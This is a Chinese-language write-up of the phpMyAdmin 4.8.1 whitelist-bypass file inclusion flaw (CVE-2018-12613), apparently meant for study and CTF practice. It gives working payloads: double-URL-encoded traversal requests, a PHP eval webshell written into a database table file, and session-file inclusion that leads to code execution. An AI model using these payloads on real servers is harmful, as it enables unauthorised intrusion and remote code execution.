0x00漏洞介绍
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:
- $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
- $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
0x01漏洞影响范围及复现环境
影响范围: phpMyAdmin 4.8.0和4.8.1
复现环境:phpstudy+phpmyadmin4.8.1
0x02漏洞原理
在phpMyAdmin 4.8.1版本的index.php文件中,有如下代码
第四个判断是黑名单判断。在index.php中已经定义好了target_blacklist的值,它们是import.php和export.php,只要不等于这两个值就可以。
第五个判断Core::checkPageValidity($_REQUEST[‘target’]为真,通过全局搜索发现了代码在libraries\classes\Core.php文件的第443-476行
只要我们绕过这些限制,就能执行index.php的第61行代码进行文件包含
、
checkPageValidity函数如下
问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,并且只要在whitelist数组内的page就可以,只要把 ? 两次url编码为 %253f 即可绕过验证
**goto_whitelist数组的白名单列表: **
我们只要随便利用其中一个即可
0x03漏洞利用
任意文件包含
我们先在根目录下创建 cc.txt ,内容随意写入。
payload:
?target=db_datadict.php%253f/../../../../../../../../cc.txt
可以看到我们成功访问了cc.txt
任意代码执行
- 写入shell
首先查一下当前数据库的所在路径
show global variables like "%datadir%";
创建一个数据库test1,创建表test,表值为 <php? eval($_POST[1]);?>
也可以在命令行写sql语句一部到位
payload:
1=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test1/test.frm
可以看到成功执行了
- session文件包含
我们先在数据库执行sql语句 SELECT '<?php phpinfo()?>';
这样这个查询语句就写入了session,也就是将 可执行代码 phpinfo();写入了session中
然后我们f12可以查看到当前sessionid的值
session的文件名为sess_+sessionid. session路径的视环境而定
payload:
?target=db_datadict.php%253f../../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_ldt0dss03ofker4jgl15ouriu5
可以看到执行了
0x04CTF练习题
参考 buuoj web部分的 warmup 和 [GWCTF 2019]我有一个数据库
参考:
phpmyadmin 4.8.1任意文件包含
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)